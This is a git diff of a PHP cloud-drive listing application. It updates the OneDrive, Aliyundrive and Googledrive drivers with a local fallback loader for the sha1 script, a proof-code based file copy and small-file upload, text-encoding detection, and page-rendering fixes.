.sortable-ghost {
|
.sortable-ghost {
|
||||||
opacity: 0.4;
|
opacity: 0.4;
|
||||||
@@ -1907,7 +2004,7 @@ output:
|
|||||||
$frame .= getconstStr('NotNeedUpdate');
|
$frame .= getconstStr('NotNeedUpdate');
|
||||||
}*/
|
}*/
|
||||||
$frame .= '<br><br>
|
$frame .= '<br><br>
|
||||||
<script src="https://cdn.jsdelivr.net/npm/js-sha1@0.6.0/src/sha1.min.js"></script>
|
<script src="https://www.unpkg.com/js-sha1@0.6.0/src/sha1.js"></script>
|
||||||
<table>
|
<table>
|
||||||
<form id="change_pass" name="change_pass" action="" method="POST" onsubmit="return changePassword(this);">
|
<form id="change_pass" name="change_pass" action="" method="POST" onsubmit="return changePassword(this);">
|
||||||
<input name="_admin" type="hidden" value="">
|
<input name="_admin" type="hidden" value="">
|
||||||
@@ -1948,7 +2045,7 @@ output:
|
|||||||
try {
|
try {
|
||||||
sha1(1);
|
sha1(1);
|
||||||
} catch {
|
} catch {
|
||||||
alert("sha1.js not loaded.");
|
if (confirm("sha1.js not loaded.\n\nLoad from program?")) loadjs("?jsFile=sha1.min.js");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
var timestamp = new Date().getTime();
|
var timestamp = new Date().getTime();
|
||||||
@@ -1991,7 +2088,7 @@ output:
|
|||||||
try {
|
try {
|
||||||
sha1(1);
|
sha1(1);
|
||||||
} catch {
|
} catch {
|
||||||
alert("sha1.js not loaded.");
|
if (confirm("sha1.js not loaded.\n\nLoad from program?")) loadjs("?jsFile=sha1.min.js");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
var timestamp = new Date().getTime();
|
var timestamp = new Date().getTime();
|
||||||
@@ -2028,7 +2125,7 @@ output:
|
|||||||
try {
|
try {
|
||||||
sha1(1);
|
sha1(1);
|
||||||
} catch {
|
} catch {
|
||||||
alert("sha1.js not loaded.");
|
if (confirm("sha1.js not loaded.\n\nLoad from program?")) loadjs("?jsFile=sha1.min.js");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
var timestamp = new Date().getTime();
|
var timestamp = new Date().getTime();
|
||||||
@@ -2036,6 +2133,21 @@ output:
|
|||||||
f.oldPass.value = sha1(f.oldPass.value + "" + timestamp);
|
f.oldPass.value = sha1(f.oldPass.value + "" + timestamp);
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
function loadjs(url) {
|
||||||
|
var xhr = new XMLHttpRequest;
|
||||||
|
xhr.open("GET", url);
|
||||||
|
xhr.onload = function(e) {
|
||||||
|
if (xhr.status==200) {
|
||||||
|
var script = document.createElement("script");
|
||||||
|
script.type = "text/javascript";
|
||||||
|
script.text = xhr.responseText;
|
||||||
|
document.body.appendChild(script);
|
||||||
|
} else {
|
||||||
|
console.log(xhr.response);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
xhr.send(null);
|
||||||
|
}
|
||||||
</script>';
|
</script>';
|
||||||
}
|
}
|
||||||
$html .= '
|
$html .= '
|
||||||
@@ -2093,7 +2205,13 @@ function render_list($path = '', $files = [])
|
|||||||
$p_path='';
|
$p_path='';
|
||||||
if ($path1 !== '/') {
|
if ($path1 !== '/') {
|
||||||
if ($files['type']=='file') {
|
if ($files['type']=='file') {
|
||||||
$pretitle = str_replace('&','&', $files['name']);
|
if (isset($files['name'])) {
|
||||||
|
$pretitle = str_replace('&','&', $files['name']);
|
||||||
|
} else {
|
||||||
|
if (substr($path1, 0, 1)=='/') $pretitle = substr($path1, 1);
|
||||||
|
if (substr($path1, -1)=='/') $pretitle = substr($pretitle, 0, -1);
|
||||||
|
$pretitle = str_replace('&','&', $pretitle);
|
||||||
|
}
|
||||||
$n_path = $pretitle;
|
$n_path = $pretitle;
|
||||||
$tmp = splitlast(splitlast($path1,'/')[0],'/');
|
$tmp = splitlast(splitlast($path1,'/')[0],'/');
|
||||||
if ($tmp[1]=='') {
|
if ($tmp[1]=='') {
|
||||||
@@ -2404,12 +2522,21 @@ function render_list($path = '', $files = [])
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
if ($_SERVER['is_guestup_path']||( $_SERVER['admin']&&$files['type']=='folder'&&$_SERVER['ishidden']<4 )) {
|
if ($_SERVER['is_guestup_path']||( $_SERVER['admin']&&$files['type']=='folder'&&$_SERVER['ishidden']<4 )) {
|
||||||
while (strpos($html, '<!--UploadJsStart-->')) $html = str_replace('<!--UploadJsStart-->', '', $html);
|
|
||||||
while (strpos($html, '<!--UploadJsEnd-->')) $html = str_replace('<!--UploadJsEnd-->', '', $html);
|
|
||||||
$now_driver = baseclassofdrive();
|
$now_driver = baseclassofdrive();
|
||||||
unset($Driver_arr[$now_driver]);
|
if ($now_driver) {
|
||||||
while (strpos($html, '<!--' . $now_driver . 'UploadJsStart-->')) $html = str_replace('<!--' . $now_driver . 'UploadJsStart-->', '', $html);
|
while (strpos($html, '<!--UploadJsStart-->')) $html = str_replace('<!--UploadJsStart-->', '', $html);
|
||||||
while (strpos($html, '<!--' . $now_driver . 'UploadJsEnd-->')) $html = str_replace('<!--' . $now_driver . 'UploadJsEnd-->', '', $html);
|
while (strpos($html, '<!--UploadJsEnd-->')) $html = str_replace('<!--UploadJsEnd-->', '', $html);
|
||||||
|
unset($Driver_arr[$now_driver]);
|
||||||
|
while (strpos($html, '<!--' . $now_driver . 'UploadJsStart-->')) $html = str_replace('<!--' . $now_driver . 'UploadJsStart-->', '', $html);
|
||||||
|
while (strpos($html, '<!--' . $now_driver . 'UploadJsEnd-->')) $html = str_replace('<!--' . $now_driver . 'UploadJsEnd-->', '', $html);
|
||||||
|
} else {
|
||||||
|
while (strpos($html, '<!--UploadJsStart-->')) {
|
||||||
|
$tmp = splitfirst($html, '<!--UploadJsStart-->');
|
||||||
|
$html = $tmp[0];
|
||||||
|
$tmp = splitfirst($tmp[1], '<!--UploadJsEnd-->');
|
||||||
|
$html .= $tmp[1];
|
||||||
|
}
|
||||||
|
}
|
||||||
foreach ($Driver_arr as $driver) {
|
foreach ($Driver_arr as $driver) {
|
||||||
while (strpos($html, '<!--' . $driver . 'UploadJsStart-->')) {
|
while (strpos($html, '<!--' . $driver . 'UploadJsStart-->')) {
|
||||||
$tmp = splitfirst($html, '<!--' . $driver . 'UploadJsStart-->');
|
$tmp = splitfirst($html, '<!--' . $driver . 'UploadJsStart-->');
|
||||||
@@ -2503,8 +2630,9 @@ function render_list($path = '', $files = [])
|
|||||||
if (strpos($html, '<!--TxtContent-->')) {
|
if (strpos($html, '<!--TxtContent-->')) {
|
||||||
//$tmp_content = get_content(spurlencode(path_format(urldecode($path)), '/'))['content']['body'];
|
//$tmp_content = get_content(spurlencode(path_format(urldecode($path)), '/'))['content']['body'];
|
||||||
$tmp_content = $files['content']['body'];
|
$tmp_content = $files['content']['body'];
|
||||||
if (strlen($tmp_content)==$files['size']) $html = str_replace('<!--TxtContent-->', htmlspecialchars($tmp_content), $html);
|
//if (strlen($tmp_content)==$files['size'])
|
||||||
else $html = str_replace('<!--TxtContent-->', $files['size']<1024*1024?htmlspecialchars(curl('GET', $files['url'], '', [], 0, 1)['body']):"File too large: " . $files['size'] . " B.", $html);
|
$html = str_replace('<!--TxtContent-->', htmlspecialchars($tmp_content), $html);
|
||||||
|
//else $html = str_replace('<!--TxtContent-->', $files['size']<1024*1024?htmlspecialchars(curl('GET', $files['url'], '', [], 0, 1)['body']):"File too large: " . $files['size'] . " B.", $html);
|
||||||
}
|
}
|
||||||
$html = str_replace('<!--constStr@FileNotSupport-->', getconstStr('FileNotSupport'), $html);
|
$html = str_replace('<!--constStr@FileNotSupport-->', getconstStr('FileNotSupport'), $html);
|
||||||
|
|
||||||
@@ -2852,7 +2980,7 @@ function render_list($path = '', $files = [])
|
|||||||
$MultiDiskArea = $tmp[0];
|
$MultiDiskArea = $tmp[0];
|
||||||
$tmp = splitfirst($tmp[1], '<!--MultiDisksEnd-->');
|
$tmp = splitfirst($tmp[1], '<!--MultiDisksEnd-->');
|
||||||
$MultiDisks = $tmp[0];
|
$MultiDisks = $tmp[0];
|
||||||
foreach ($disktags as $disk) {
|
foreach ($disktags as $disk) if ($_SERVER['admin']||getConfig('diskDisplay', $disk)=='') {
|
||||||
$diskname = getConfig('diskname', $disk);
|
$diskname = getConfig('diskname', $disk);
|
||||||
if ($diskname=='') $diskname = $disk;
|
if ($diskname=='') $diskname = $disk;
|
||||||
$MultiDisksStr = str_replace('<!--MultiDisksUrl-->', path_format($_SERVER['base_path'].'/'.$disk.'/'), $MultiDisks);
|
$MultiDisksStr = str_replace('<!--MultiDisksUrl-->', path_format($_SERVER['base_path'].'/'.$disk.'/'), $MultiDisks);
|
||||||
@@ -2987,7 +3115,6 @@ function render_list($path = '', $files = [])
|
|||||||
}
|
}
|
||||||
$html .= $Footomf . $tmp[1];
|
$html .= $Footomf . $tmp[1];
|
||||||
|
|
||||||
|
|
||||||
$tmp = splitfirst($html, '<!--MdRequireStart-->');
|
$tmp = splitfirst($html, '<!--MdRequireStart-->');
|
||||||
$html = $tmp[0];
|
$html = $tmp[0];
|
||||||
$tmp = splitfirst($tmp[1], '<!--MdRequireEnd-->');
|
$tmp = splitfirst($tmp[1], '<!--MdRequireEnd-->');
|
||||||
|
|||||||
+1
-1
@@ -6,7 +6,7 @@ global $constStr;
|
|||||||
$exts['img'] = ['ico', 'bmp', 'gif', 'jpg', 'jpeg', 'jpe', 'jfif', 'tif', 'tiff', 'png', 'heic', 'webp'];
|
$exts['img'] = ['ico', 'bmp', 'gif', 'jpg', 'jpeg', 'jpe', 'jfif', 'tif', 'tiff', 'png', 'heic', 'webp'];
|
||||||
$exts['music'] = ['mp3', 'wma', 'flac', 'ape', 'wav', 'ogg', 'm4a'];
|
$exts['music'] = ['mp3', 'wma', 'flac', 'ape', 'wav', 'ogg', 'm4a'];
|
||||||
$exts['office'] = ['doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx'];
|
$exts['office'] = ['doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx'];
|
||||||
$exts['txt'] = ['txt', 'bat', 'sh', 'php', 'asp', 'js', 'css', 'json', 'html', 'c', 'cpp', 'md', 'py', 'omf'];
|
$exts['txt'] = ['txt', 'log', 'bat', 'sh', 'php', 'asp', 'js', 'css', 'json', 'html', 'c', 'cpp', 'md', 'py', 'omf'];
|
||||||
$exts['video'] = ['mp4', 'webm', 'mkv', 'mov', 'flv', 'blv', 'avi', 'wmv', 'm3u8', 'rm', '3gp', 'rmvb'];
|
$exts['video'] = ['mp4', 'webm', 'mkv', 'mov', 'flv', 'blv', 'avi', 'wmv', 'm3u8', 'rm', '3gp', 'rmvb'];
|
||||||
$exts['zip'] = ['zip', 'rar', '7z', 'gz', 'tar'];
|
$exts['zip'] = ['zip', 'rar', '7z', 'gz', 'tar'];
|
||||||
|
|
||||||
|
|||||||
+152
-42
@@ -93,9 +93,10 @@ class Aliyundrive {
|
|||||||
if (!($files = getcache('path_' . $path, $this->disktag))) {
|
if (!($files = getcache('path_' . $path, $this->disktag))) {
|
||||||
if ($path == '/' || $path == '') {
|
if ($path == '/' || $path == '') {
|
||||||
$files = $this->fileList('root');
|
$files = $this->fileList('root');
|
||||||
//error_log1('root_id' . $files['id']);
|
//error_log1('root_id' . $files['file_id']);
|
||||||
$files['file_id'] = 'root';
|
$files['file_id'] = 'root';
|
||||||
$files['type'] = 'folder';
|
$files['type'] = 'folder';
|
||||||
|
//error_log1(json_encode($files, JSON_PRETTY_PRINT));
|
||||||
} else {
|
} else {
|
||||||
$tmp = splitlast($path, '/');
|
$tmp = splitlast($path, '/');
|
||||||
$parent_path = $tmp[0];
|
$parent_path = $tmp[0];
|
||||||
@@ -320,7 +321,6 @@ class Aliyundrive {
|
|||||||
return output(json_encode($this->files_format(json_decode($result['body'], true))), $result['stat']);
|
return output(json_encode($this->files_format(json_decode($result['body'], true))), $result['stat']);
|
||||||
}
|
}
|
||||||
public function Copy($file) {
|
public function Copy($file) {
|
||||||
return output('NO copy', 415);
|
|
||||||
if (!$file['id']) {
|
if (!$file['id']) {
|
||||||
$oldfile = $this->list_path($file['path'] . '/' . $file['name']);
|
$oldfile = $this->list_path($file['path'] . '/' . $file['name']);
|
||||||
//error_log1('res:' . json_encode($res));
|
//error_log1('res:' . json_encode($res));
|
||||||
@@ -328,47 +328,60 @@ class Aliyundrive {
|
|||||||
} else {
|
} else {
|
||||||
$oldfile = $this->fileGet($file['id']);
|
$oldfile = $this->fileGet($file['id']);
|
||||||
}
|
}
|
||||||
|
if ($oldfile['type']=='folder') return output('Can not copy folder', 415);
|
||||||
$url = $this->api_url . '/file/create';
|
if (!function_exists('bcadd')) {
|
||||||
|
// no php-bcmath
|
||||||
$header["content-type"] = "application/json; charset=utf-8";
|
if ($bcmathurl = getConfig('bcmathUrl', $this->disktag)) {
|
||||||
$header['authorization'] = 'Bearer ' . $this->access_token;
|
if (strpos($bcmathurl, '?')) {
|
||||||
|
$bcmathurl .= '÷nd=0x' . substr(md5($this->access_token), 0, 16) . '&divisor=' . $oldfile['size'];
|
||||||
$data['check_name_mode'] = 'auto_rename'; // ignore, auto_rename, refuse.
|
} else {
|
||||||
$data['content_hash'] = $oldfile['content_hash'];
|
$bcmathurl .= '?dividend=0x' . substr(md5($this->access_token), 0, 16) . '&divisor=' . $oldfile['size'];
|
||||||
$data['content_hash_name'] = 'sha1';
|
}
|
||||||
$data['content_type'] = $oldfile['content_type'];
|
$o = curl('GET', $bcmathurl)['body'];
|
||||||
$data['drive_id'] = $this->driveId;
|
|
||||||
$data['ignoreError'] = false;
|
|
||||||
$data['name'] = $oldfile['name'];
|
|
||||||
$data['parent_file_id'] = $oldfile['parent_file_id'];
|
|
||||||
$data['part_info_list'][0]['part_number'] = 1;
|
|
||||||
$data['size'] = $oldfile['size'];
|
|
||||||
$data['type'] = 'file';
|
|
||||||
|
|
||||||
$result = curl('POST', $url, json_encode($data), $header);
|
|
||||||
|
|
||||||
if ($result['stat']==201) {
|
|
||||||
//error_log1('1,url:' . $url .' res:' . json_encode($result));
|
|
||||||
$res = json_decode($result['body'], true);
|
|
||||||
$url = $res['part_info_list'][0]['upload_url'];
|
|
||||||
if (!$url) { // 无url,应该算秒传
|
|
||||||
return output('no up url', 200);
|
|
||||||
} else {
|
} else {
|
||||||
return output(json_encode($this->files_format(json_decode($result['body'], true))), $result['stat']);
|
return output('No bcmath module, can not copy', 415);
|
||||||
}
|
}
|
||||||
/*$file_id = $res['file_id'];
|
} else {
|
||||||
$upload_id = $res['upload_id'];
|
$r = bchexdec( substr(md5($this->access_token), 0, 16) );
|
||||||
$result = curl('PUT', $url, $content, [], 1);
|
$o = bcmod($r, $oldfile['size']);
|
||||||
if ($result['stat']==200) { // 块1传好
|
|
||||||
$etag = $result['returnhead']['ETag'];
|
|
||||||
$result = $this->fileComplete($file_id, $upload_id, [ $etag ]);
|
|
||||||
if ($result['stat']!=200) return output($result['body'], $result['stat']);
|
|
||||||
else return output('success', 0);
|
|
||||||
}*/
|
|
||||||
}
|
}
|
||||||
//error_log1('2,url:' . $url .' res:' . json_encode($result));
|
$res = curl('GET', $oldfile['download_url'], '', [
|
||||||
return output(json_encode($this->files_format(json_decode($result['body'], true))), $result['stat']);
|
'Referer' => ''
|
||||||
|
, 'Range' => 'bytes=' . $o . '-' . ($o+7)
|
||||||
|
]);
|
||||||
|
if ($res['stat']==206) {
|
||||||
|
$proof_code = base64_encode($res['body']);
|
||||||
|
$url = 'https://api.aliyundrive.com/adrive/v2/file/createWithFolders';
|
||||||
|
$header["content-type"] = "application/json; charset=utf-8";
|
||||||
|
$header['authorization'] = 'Bearer ' . $this->access_token;
|
||||||
|
$data['check_name_mode'] = 'auto_rename'; // ignore, auto_rename, refuse.
|
||||||
|
$data['content_hash'] = $oldfile['content_hash'];
|
||||||
|
$data['content_hash_name'] = 'sha1';
|
||||||
|
$data['drive_id'] = $this->driveId;
|
||||||
|
$data['name'] = $oldfile['name'];
|
||||||
|
$data['parent_file_id'] = $oldfile['parent_file_id'];
|
||||||
|
$data['part_info_list'][0]['part_number'] = 1;
|
||||||
|
$data['proof_code'] = $proof_code;
|
||||||
|
$data['proof_version'] = 'v1';
|
||||||
|
$data['size'] = $oldfile['size'];
|
||||||
|
$data['type'] = 'file';
|
||||||
|
$result = curl('POST', $url, json_encode($data), $header);
|
||||||
|
/*if ($result['stat']==201) {
|
||||||
|
$res = json_decode($result['body'], true);
|
||||||
|
if ($res['rapid_upload']) return output('rapid upload', 200);
|
||||||
|
$url = $res['part_info_list'][0]['upload_url'];
|
||||||
|
if (!$url) { // 无url,应该算秒传
|
||||||
|
return output('no up url', 200);
|
||||||
|
} else {
|
||||||
|
return output(json_encode($this->files_format(json_decode($result['body'], true))), $result['stat']);
|
||||||
|
}
|
||||||
|
}*/
|
||||||
|
//error_log1('2,url:' . $url .' res:' . json_encode($result));
|
||||||
|
return output(json_encode($this->files_format(json_decode($result['body'], true))), $result['stat']);
|
||||||
|
} else {
|
||||||
|
return output("Get proof error\n" . json_encode($res), 415);
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
public function Edit($file, $content) {
|
public function Edit($file, $content) {
|
||||||
$tmp = splitlast($file['path'], '/');
|
$tmp = splitlast($file['path'], '/');
|
||||||
@@ -490,6 +503,31 @@ class Aliyundrive {
|
|||||||
|
|
||||||
return curl('POST', $url, json_encode($data), $header);
|
return curl('POST', $url, json_encode($data), $header);
|
||||||
}
|
}
|
||||||
|
protected function fileCreate1($parentId, $fileName, $sha1, $proof_code, $size, $part_number) {
|
||||||
|
//$url = $this->api_url . '/file/create';
|
||||||
|
$url = 'https://api.aliyundrive.com/adrive/v2/file/createWithFolders';
|
||||||
|
|
||||||
|
$header["content-type"] = "application/json; charset=utf-8";
|
||||||
|
$header['authorization'] = 'Bearer ' . $this->access_token;
|
||||||
|
|
||||||
|
$data['check_name_mode'] = 'refuse'; // ignore, auto_rename, refuse.
|
||||||
|
$data['content_hash'] = $sha1;
|
||||||
|
$data['content_hash_name'] = 'sha1';
|
||||||
|
//$data['content_type'] = '';
|
||||||
|
$data['drive_id'] = $this->driveId;
|
||||||
|
//$data['ignoreError'] = false;
|
||||||
|
$data['name'] = $fileName;
|
||||||
|
$data['parent_file_id'] = $parentId;
|
||||||
|
for ($i=0;$i<$part_number;$i++) {
|
||||||
|
$data['part_info_list'][$i]['part_number'] = $i+1;
|
||||||
|
}
|
||||||
|
$data['proof_code'] = $proof_code;
|
||||||
|
$data['proof_version'] = 'v1';
|
||||||
|
$data['size'] = (int)$size;
|
||||||
|
$data['type'] = 'file';
|
||||||
|
|
||||||
|
return curl('POST', $url, json_encode($data), $header);
|
||||||
|
}
|
||||||
protected function tmpfileCreate($parentId, $tmpFilePath, $tofileName = '') {
|
protected function tmpfileCreate($parentId, $tmpFilePath, $tofileName = '') {
|
||||||
$sha1 = sha1_file($tmpFilePath);
|
$sha1 = sha1_file($tmpFilePath);
|
||||||
if ($tofileName == '') $tofileName = splitlast($tmpFilePath, '/')[1];
|
if ($tofileName == '') $tofileName = splitlast($tmpFilePath, '/')[1];
|
||||||
@@ -538,6 +576,60 @@ class Aliyundrive {
|
|||||||
$thumb_url = $res['thumbnail'];
|
$thumb_url = $res['thumbnail'];
|
||||||
return $thumb_url;
|
return $thumb_url;
|
||||||
}
|
}
|
||||||
|
public function smallfileupload($path, $tmpfile) {
|
||||||
|
if (!$_SERVER['admin']) {
|
||||||
|
$tmp1 = splitlast($tmpfile['name'], '.');
|
||||||
|
if ($tmp1[0]==''||$tmp1[1]=='') $filename = sha1_file($tmpfile['tmp_name']);
|
||||||
|
else $filename = sha1_file($tmpfile['tmp_name']) . '.' . $tmp1[1];
|
||||||
|
} else {
|
||||||
|
$filename = $tmpfile['name'];
|
||||||
|
}
|
||||||
|
//$content = file_get_contents($tmpfile['tmp_name']);
|
||||||
|
$result = $this->tmpfileCreate($this->list_path($_SERVER['list_path'] . '/' . $path . '/')['file_id'], $tmpfile['tmp_name'], $filename);
|
||||||
|
//error_log1('1,url:' . $url .' res:' . json_encode($result));
|
||||||
|
if ($result['stat']==201) {
|
||||||
|
$res = json_decode($result['body'], true);
|
||||||
|
$url = $res['part_info_list'][0]['upload_url'];
|
||||||
|
if (!$url) { // 无url,应该算秒传
|
||||||
|
//return output('no up url', 0);
|
||||||
|
$a = 1;
|
||||||
|
} else {
|
||||||
|
$file_id = $res['file_id'];
|
||||||
|
$upload_id = $res['upload_id'];
|
||||||
|
//$result = curl('PUT', $url, $content, [], 1);
|
||||||
|
$ch = curl_init();
|
||||||
|
curl_setopt($ch, CURLOPT_URL, $url);
|
||||||
|
curl_setopt($ch, CURLOPT_PUT, 1);
|
||||||
|
curl_setopt($ch, CURLOPT_HEADER, 1);
|
||||||
|
$fh_res = fopen($tmpfile['tmp_name'], 'r');
|
||||||
|
curl_setopt($ch, CURLOPT_INFILE, $fh_res);
|
||||||
|
curl_setopt($ch, CURLOPT_INFILESIZE, filesize($tmpfile['tmp_name']));
|
||||||
|
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||||
|
$tmpres = splitlast(curl_exec($ch), "\r\n\r\n");
|
||||||
|
$result['body'] = $tmpres[1];
|
||||||
|
$returnhead = $tmpres[0];
|
||||||
|
foreach (explode("\r\n", $returnhead) as $head) {
|
||||||
|
$tmp = explode(': ', $head);
|
||||||
|
$heads[$tmp[0]] = $tmp[1];
|
||||||
|
}
|
||||||
|
$result['returnhead'] = $heads;
|
||||||
|
$result['stat'] = curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
||||||
|
fclose($fh_res);
|
||||||
|
curl_close($ch);
|
||||||
|
//error_log1('2,url:' . $url .' res:' . json_encode($result));
|
||||||
|
if ($result['stat']==200) { // 块1传好
|
||||||
|
$result = $this->fileComplete($file_id, $upload_id, [ $result['returnhead']['ETag'] ]);
|
||||||
|
//error_log1('3, res:' . json_encode($result));
|
||||||
|
//if ($result['stat']!=200) return output(json_encode($this->files_format(json_decode($result['body'], true))), $result['stat']);
|
||||||
|
//else return output('success', 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$res = json_decode($result['body'], true);
|
||||||
|
//if (isset($res['url']))
|
||||||
|
$res['download_url'] = $_SERVER['host'] . path_format($_SERVER['base_disk_path'] . '/' . $path . '/' . $filename);
|
||||||
|
}
|
||||||
|
return output(json_encode($this->files_format($res), JSON_UNESCAPED_SLASHES), $result['stat']);
|
||||||
|
}
|
||||||
public function bigfileupload($path)
|
public function bigfileupload($path)
|
||||||
{
|
{
|
||||||
if (isset($_POST['uploadid'])) {
|
if (isset($_POST['uploadid'])) {
|
||||||
@@ -545,6 +637,20 @@ class Aliyundrive {
|
|||||||
$result = $this->fileComplete($_POST['fileid'], $_POST['uploadid'], json_decode($_POST['etag'], true));
|
$result = $this->fileComplete($_POST['fileid'], $_POST['uploadid'], json_decode($_POST['etag'], true));
|
||||||
return output(json_encode($this->files_format(json_decode($result['body'], true))), $result['stat']);
|
return output(json_encode($this->files_format(json_decode($result['body'], true))), $result['stat']);
|
||||||
} else {
|
} else {
|
||||||
|
if (isset($_POST['CalcProof'])) {
|
||||||
|
return output(substr(md5($this->access_token), 0, 16), 200);
|
||||||
|
// Calc proof code
|
||||||
|
/*if (!function_exists('bcadd')) {
|
||||||
|
// no php-bcmath
|
||||||
|
return output(0, 200);
|
||||||
|
} else {
|
||||||
|
$r = bchexdec( substr(md5($this->access_token), 0, 16) );
|
||||||
|
$i = $_POST['filesize'];
|
||||||
|
//$o = $i ? bcmod($r, $i) : 0;
|
||||||
|
$o = bcmod($r, $i);
|
||||||
|
return output($o, 200);
|
||||||
|
}*/
|
||||||
|
}
|
||||||
if ($_POST['upbigfilename']=='') return output('error: no file name', 400);
|
if ($_POST['upbigfilename']=='') return output('error: no file name', 400);
|
||||||
if (!is_numeric($_POST['filesize'])) return output('error: no file size', 400);
|
if (!is_numeric($_POST['filesize'])) return output('error: no file size', 400);
|
||||||
if (!isset($_POST['filesha1'])) return output('error: no file sha1', 400);
|
if (!isset($_POST['filesha1'])) return output('error: no file sha1', 400);
|
||||||
@@ -574,7 +680,11 @@ class Aliyundrive {
|
|||||||
//error_log1($res['body']);
|
//error_log1($res['body']);
|
||||||
$parent_file_id = json_decode($res['body'], true)['file_id'];
|
$parent_file_id = json_decode($res['body'], true)['file_id'];
|
||||||
}
|
}
|
||||||
$response = $this->fileCreate($parent_file_id, $filename, $_POST['filesha1'], $fileinfo['size'], ceil($fileinfo['size']/$_POST['chunksize']));
|
//if (!function_exists('bcadd')) {
|
||||||
|
// $response = $this->fileCreate($parent_file_id, $filename, $_POST['filesha1'], $fileinfo['size'], ceil($fileinfo['size']/$_POST['chunksize']));
|
||||||
|
//} else {
|
||||||
|
$response = $this->fileCreate1($parent_file_id, $filename, $_POST['filesha1'], $_POST['proof_code'], $fileinfo['size'], ceil($fileinfo['size']/$_POST['chunksize']));
|
||||||
|
//}
|
||||||
$res = json_decode($response['body'], true);
|
$res = json_decode($response['body'], true);
|
||||||
if (isset($res['exist'])) {
|
if (isset($res['exist'])) {
|
||||||
// 已经有
|
// 已经有
|
||||||
@@ -800,7 +910,7 @@ class Aliyundrive {
|
|||||||
alert("Do not input ' . $envs . '");
|
alert("Do not input ' . $envs . '");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,20})$/;
|
var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,})$/;
|
||||||
if (!reg.test(t.disktag_add.value)) {
|
if (!reg.test(t.disktag_add.value)) {
|
||||||
alert(\'' . getconstStr('TagFormatAlert') . '\');
|
alert(\'' . getconstStr('TagFormatAlert') . '\');
|
||||||
return false;
|
return false;
|
||||||
|
|||||||
@@ -718,7 +718,7 @@ class Googledrive {
|
|||||||
alert("Do not input ' . $envs . '");
|
alert("Do not input ' . $envs . '");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,20})$/;
|
var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,})$/;
|
||||||
if (!reg.test(t.disktag_add.value)) {
|
if (!reg.test(t.disktag_add.value)) {
|
||||||
alert(\'' . getconstStr('TagFormatAlert') . '\');
|
alert(\'' . getconstStr('TagFormatAlert') . '\');
|
||||||
return false;
|
return false;
|
||||||
|
|||||||
+39
-6
@@ -57,9 +57,27 @@ class Onedrive {
|
|||||||
if (isset($parentfiles['children'][$filename][$this->DownurlStrName])) {
|
if (isset($parentfiles['children'][$filename][$this->DownurlStrName])) {
|
||||||
if (in_array(splitlast($filename,'.')[1], $exts['txt'])) {
|
if (in_array(splitlast($filename,'.')[1], $exts['txt'])) {
|
||||||
if (!(isset($parentfiles['children'][$filename]['content'])&&$parentfiles['children'][$filename]['content']['stat']==200)) {
|
if (!(isset($parentfiles['children'][$filename]['content'])&&$parentfiles['children'][$filename]['content']['stat']==200)) {
|
||||||
$content1 = curl('GET', $parentfiles['children'][$filename][$this->DownurlStrName]);
|
//$content1 = curl('GET', $parentfiles['children'][$filename][$this->DownurlStrName]);
|
||||||
$parentfiles['children'][$filename]['content'] = $content1;
|
//$parentfiles['children'][$filename]['content'] = $content1;
|
||||||
savecache('path_' . $parentpath, $parentfiles, $this->disktag);
|
//savecache('path_' . $parentpath, $parentfiles, $this->disktag);
|
||||||
|
if ($parentfiles['children'][$filename]['size']<1024*1024) {
|
||||||
|
if (!(isset($parentfiles['children'][$filename]['content'])&&$parentfiles['children'][$filename]['content']['stat']==200)) {
|
||||||
|
$content1 = curl('GET', $parentfiles['children'][$filename][$this->DownurlStrName]);
|
||||||
|
$tmp = null;
|
||||||
|
$tmp = json_decode(json_encode($content1), true);
|
||||||
|
if ($tmp['body']===null) {
|
||||||
|
$txtcode = chkTxtCode($content1['body']);
|
||||||
|
if ($txtcode!==false) $tmp['body'] = iconv($txtcode, 'UTF-8//TRANSLIT', $content1['body']);
|
||||||
|
$tmp = json_decode(json_encode($tmp), true);
|
||||||
|
if ($tmp['body']) $content1['body'] = $tmp['body'];
|
||||||
|
}
|
||||||
|
$parentfiles['children'][$filename]['content'] = $content1;
|
||||||
|
savecache('path_' . $path, $parentfiles['children'][$filename], $this->disktag);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
$parentfiles['children'][$filename]['content']['stat'] = 202;
|
||||||
|
$parentfiles['children'][$filename]['content']['body'] = 'File too large.';
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return $this->files_format($parentfiles['children'][$filename]);
|
return $this->files_format($parentfiles['children'][$filename]);
|
||||||
@@ -107,9 +125,10 @@ class Onedrive {
|
|||||||
$tmp = null;
|
$tmp = null;
|
||||||
$tmp = json_decode(json_encode($content1), true);
|
$tmp = json_decode(json_encode($content1), true);
|
||||||
if ($tmp['body']===null) {
|
if ($tmp['body']===null) {
|
||||||
$tmp['body'] = iconv("GBK", 'UTF-8//TRANSLIT', $content1['body']);
|
$txtcode = chkTxtCode($content1['body']);
|
||||||
|
if ($txtcode!==false) $tmp['body'] = iconv($txtcode, 'UTF-8//TRANSLIT', $content1['body']);
|
||||||
$tmp = json_decode(json_encode($tmp), true);
|
$tmp = json_decode(json_encode($tmp), true);
|
||||||
if ($tmp['body']!==null) $content1['body'] = $tmp['body'];
|
if ($tmp['body']) $content1['body'] = $tmp['body'];
|
||||||
}
|
}
|
||||||
$files['content'] = $content1;
|
$files['content'] = $content1;
|
||||||
savecache('path_' . $path, $files, $this->disktag);
|
savecache('path_' . $path, $files, $this->disktag);
|
||||||
@@ -810,7 +829,7 @@ class Onedrive {
|
|||||||
